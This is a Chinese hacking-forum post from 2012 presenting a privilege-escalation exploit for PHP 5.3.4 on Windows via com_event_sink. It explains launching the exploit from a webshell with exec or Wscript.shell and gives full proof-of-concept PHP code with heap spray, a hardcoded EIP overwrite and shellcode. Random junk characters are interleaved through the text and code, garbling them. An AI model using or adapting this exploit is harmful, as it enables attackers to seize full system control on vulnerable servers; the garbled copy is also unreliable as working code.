找回密码
 立即注册
查看: 2781|回复: 0
打印 上一主题 下一主题

PHP 5.3.4(WIN) COM_SINK权限提升漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-9 21:08:13 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
PHP最新版已经更新至5.4.x,不过中国大陆尚处于在5.2.x和5.3.x更替的阶段。存在漏洞的php存在于5.3.x版本中9 K- T$ p) b* X3 N
$ q6 A$ V1 q" t% R$ K" t8 Q
测试方法如下:cmd /c x:\php\php.exe x:\test.php1 S4 u2 B, E0 X# h$ e
5 q8 {* z7 J9 q, G& k
下载php程序至本地,然后使用php.exe解析php即可。Webshell上面使用php的exec等函数执行,或者使用Wscript.shell调用cmd.exe然后 /c x:\php\php.exe x:\xxxx\test.php
! P6 l/ U2 _) j, T4 N这里是两个测试的截图:
& \9 f  G# B- c! I! G4 b
7 `) H1 m! B5 `2 R; W& {+ b( u6 i& w  M0 n0 `3 o
4 D& E% Y9 X6 Z# S. }

; U1 }# _4 c5 @  V9 u; d* {# c/ @# t( J
成功利用此漏洞的攻击者将获得系统的最高权限% [+ ?4 \2 L- u* K- N" e7 @
' r% v( B1 D' ~2 C

' z$ B: J3 |- n5 {/ i6 i- O4 A
/ K9 g" W+ \/ J. h! ~3 E- M
2 `1 M; x5 @5 P2 a, m9 z* B5 g9 B7 |$ H- H! i7 n
关于漏洞分析稍后附上。一下是PoC代码:; u6 \7 m2 [7 O( k$ H
  y! b+ O" }; i
<?php
5 \1 d( a  g  z- U& R//PHP 5.3.4(Win版) com_event_sink()模型权限提升漏洞
6 a, ^" n/ o' [; C9 n7 q) }& M//$eip ="\x44\x43\x42\x41";
/ U: c9 }  m+ A2 f- C: C$eip= "\x4b\xe8\x57\x78";6 ?. ~* _& s" M, S# O: q
$eax ="\x80\x01\x8d\x04";
1 p" W% j/ s6 F: d, R" g$deodrant="";/ F7 W: w. F0 }4 ]5 F
$axespray = str_repeat($eip.$eax,0x80);
7 d2 }4 a' D8 j9 x0 G  G//048d01906 Q  E% k. Q- s9 C7 U0 E
echo strlen($axespray);
/ T) a# \8 I6 T; ?echo "PHP 5.3.4(WIN) COM_SINK Privilege Escalation\n";
; W5 \3 ]2 _# N# o6 ]echo "Silic Group Hacker Army - BlackBap.Org";" g% X0 H( \! K8 k, I) l
//19200 ==4B32 4b00  j' |' X8 R6 E; I( X
for($axeeffect=0;$axeeffect<0x4B32;$axeeffect++){$deodrant.=$axespray;}
% q: h& _3 n+ ?# }5 D) q2 Y$terminate = "T";
. G' Y1 X  f$ t- f' p$u[] =$deodrant;4 T, q6 M; Z: w, b6 d
$r[] =$deodrant.$terminate;
' i6 ~! W; h3 H9 E- B$a[] =$deodrant.$terminate;' f) B9 x/ |0 n+ g: W1 T+ Z/ h
$s[] =$deodrant.$terminate;
* }" x2 Y% |& g& A) Y//$vVar = new VARIANT(0x048d0038+$offset);        这里是可控可改的* {. c: Y) ~$ @9 _% h, h8 J
$vVar = new VARIANT(0x048d0000+180);
% s6 Y- W7 A' e. j//弹窗代码(Shellcode)
( D! m# s1 Q' B: G8 F. z$buffer = "\x90\x90\x90"."\xB9\x38\xDD\x82\x7C\x33\xC0\xBB"."\xD8\x0A\x86\x7C\x51\x50\xFF\xd3";
7 b. q, e6 l% p- W/ p) m  @$var2 = new VARIANT(0x41414242);' a, I# H6 R) ^* h8 h9 }, d- {- D% N8 ?5 e
com_event_sink($vVar,$var2,$buffer);2 d: m/ |! N, f- Z; b
?>7 P- R( V% C& |" Y3 z  `& Q

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表